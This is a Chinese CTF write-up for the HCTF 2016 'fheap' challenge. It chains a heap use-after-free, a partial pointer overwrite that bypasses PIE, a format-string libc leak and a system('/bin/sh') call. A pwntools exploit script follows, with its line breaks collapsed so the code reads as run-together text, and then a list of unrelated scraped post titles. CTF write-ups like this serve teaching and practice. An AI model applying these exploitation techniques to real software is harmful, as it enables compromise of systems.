题目链接

https://github.com/zh-explorer/hctf2016-fheap

题目分析

题目功能只有 malloc 和 free 的功能,查看堆的布局:

全局指针没有置空,导致 uaf 和 double free 漏洞,两种都可以做,但是这题的重点是绕过 PIE。

  • double free 完了之后,会导致下面的情况

这里需要注意一下 create 函数的逻辑:如果输入的字符串的长度大于 15,则重新 maloc 一块堆块用来存放字符串,如图:

但是这里还是选择使用 uaf 来做。

整体思路

  1. malloc 两个堆块,delete 两个堆块

  2. 重新 malloc 一个堆块,size 大于 24,这样就 malloc 到原来的堆块的区域,因为全局 flag 处还存放着原来堆块的指针,所以存在 uaf 漏洞。

  1. 因为这里存在溢出,可以覆盖 free_ptr 指针,在开启 pie 的情况下,覆盖最后一个字节使得 free_ptr 被覆盖成 puts ,接着 delete 堆块时相当于输出 puts 函数的地址,得到基地址。

  2. 重复上一步,接着覆盖 puts 指针为 printf 函数的指针,构造一个格式化字符串漏洞,输出得到libc地址

  3. 重复上一步,覆盖 printf 指针为 system 函数的指针,布置好 "/bin/sh",接着 delete 就调用了 system 函数

  • 格式化字符串那里存在问题,无法正常找到 libc 的地址,只能随便找到一个 ld 库的一个地址,但是这里的偏移都是一样的。

EXP

#!/usr/bin/pythonfrom pwn import *
DEBUG = 1if DEBUG:r = process('./pwn-f')elf = ELF('./pwn-f')libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:r = remote('127.0.0.1',4444)def create(size,content):r.recvuntil("3.quit")r.sendline("create ")r.recvuntil("Pls give string size:")r.sendline(str(size))r.recvuntil("str:")r.sendline(str(content))def delete(idx):r.recvuntil("3.quit")r.sendline("delete ")r.recvuntil("id:")r.sendline(str(idx))r.recvuntil("Are you sure?:")r.sendline("yes")   create(10,"aaa")
create(10,"bbb")delete(1)
delete(0)create(25,'f'*24+p8(0xE4))delete(1)
r.recvuntil("f"*24)
puts_addr = u64(r.recvline("\n")[:-1].ljust(8,"\x00"))base_addr = puts_addr - 0xde4
success("base_addr :" + hex(base_addr))r.sendlineafter("Are you sure?:","H4lo")delete(0)printf_plt = base_addr + elf.plt['printf']payload = "%51$s^^".ljust(24,'A')
payload += p64(printf_plt)create(32,payload)delete(1)
addr = u64(r.recv(6).ljust(8,'\x00'))success(hex(addr))success("libc_addr :"+hex(addr+0xaf8-0x5d2000))
libc_addr = addr+0xaf8-0x5d2000        # 取到偏移delete(0)payload = "/bin/sh;".ljust(24,'A')
payload += p64(libc_addr + libc.symbols['system'])create(32,payload)r.interactive()

参考:

https://github.com/zh-explorer/hctf2016-fheap
https://www.cnblogs.com/shangye/p/6156350.html
https://www.xctf.org.cn/library/details/21e9451548a2b5d01dcf411e90ba968fc54ac9a5/
https://blog.csdn.net/qq_33528164/article/details/79515831

转载于:https://www.cnblogs.com/H4lo/p/10611990.html

2016 hctf fheap 题解相关推荐

  1. 蓝桥杯2016初赛python题解

    前言:除特殊说明外题解均可AC 蓝桥杯2016初赛 [蓝桥杯2016初赛]网友年龄 [蓝桥杯2016初赛]生日蜡烛 [蓝桥杯2016初赛]方格填数 [蓝桥杯2016初赛]寒假作业 [蓝桥杯2016初赛 ...

  2. 2016 HCTF web writeup

    HCTF 2016 web-writeup 2099年的flag only ios99 can get flag(Maybe you can easily get the flag in 2099 改 ...

  3. CCF 2016年题目题解 - Python

    2016年刷题目录 2016年12月 201612-1 中间数 题目链接: 代码: 易错点需注意点: 201612-2 工资计算 题目链接: 代码: 易错点需注意点: 201612-3 题目链接: 代 ...

  4. UAF (Use After Free)漏洞分析及利用

    因为大作业的需求要调试一个浏览器的UAF漏洞,首先必须对UAF漏洞有个整体的了解,本篇文章主要讲解UAF造成的原因以及利用方法,这里结合2016年HCTF fheap 题目分析起来还是有点耐人寻味. ...

  5. 有符号二进制数--补码

    link 1.计算机内,有符号数的3种表示方法:原码,反码,补码. (1)最高位为符号位,"0"为正,"1"为负,其余位为数值大小. (2)反码:正数    反 ...

  6. 【链表】BZOJ1588: [HNOI2002]营业额统计

    1588: [HNOI2002]营业额统计 Time Limit: 5 Sec  Memory Limit: 162 MB Submit: 17555  Solved: 7179 [Submit][S ...

  7. PWN-PRACTICE-BUUCTF-25

    PWN-PRACTICE-BUUCTF-25 wustctf2020_name_your_cat ciscn_2019_final_2 mrctf2020_shellcode_revenge zctf ...

  8. 【bzoj1758】[Wc2010]重建计划

    Description Input 第一行包含一个正整数N,表示X国的城市个数. 第二行包含两个正整数L和U,表示政策要求的第一期重建方案中修建道路数的上下限 接下来的N-1行描述重建小组的原有方案, ...

  9. DASCTF Sept X 浙江工业大学秋季挑战赛rsa1

    这道题其实比较经典,最早应该是出现在2016年的HCTF,出题的思路可以参照这篇博客 2016 HCTF Crypto 出题总结 #! /usr/bin/env python # -*- coding ...

最新文章

  1. 单细胞10x的数据读取不进去怎么办?
  2. 经典推荐:《Silverlight揭秘》和《ASP.NET 3.5高级程序设计(第2版)》
  3. linux下zip2
  4. java用循环方式实现和计算机玩猜拳的程序
  5. 分享程序员提升自身能力的7个实用网站
  6. aws v2.2.exe_如何在AWS Elastic Beanstalk上部署Rails 5.2 PostgreSQL应用
  7. 前端学习(1809):前端调试之微博头部开发
  8. 【C++深度剖析教程7】C++之类中的函数重载
  9. QT使用插件开发界面
  10. axis 开发webservice
  11. 涨价潮或延续至下半年 芯片国产化遇机遇
  12. 能力的变迁:能力包括哪些方面
  13. oppo A3怎么刷机oppo A3的刷机教程 oppo A3完美解除账号锁
  14. 永磁同步电机的矢量控制策略(十二)一一一MTPA最大转矩电流比控制
  15. C4D常用操作——挤压+倒角详解
  16. 前端多语言开发,如何中英文切换
  17. 【声明】本人博客已经迁移到博客园,欢迎访问!
  18. 苹果手机有护眼模式吗_玩手机眼睛疼?你需要开启护眼模式~
  19. 仪器计量校准机构的CNAS和CMA有哪些区别?分别具有什么作用?
  20. 转载 | 年度盘点!Flink 社区全年的精华内容都在这里啦

热门文章

  1. 王道操作系统考研笔记——2.1.8 调度算法的评价指标
  2. 王道操作系统考研笔记——1.1.6 系统调用
  3. WordPress插入图片无法居中的解决方法
  4. Linux 系统应用编程——标准I/O
  5. 安卓BLE开发教程(二) BLE开发流程
  6. ARP协议在同网段及跨网段下的工作原理
  7. Taro+react开发(90):列表渲染key值
  8. Taro+react开发(80):状态改变的构造函数
  9. 前端学习(3258):js高级教程(2)
  10. [html] 说说base标签有什么作用?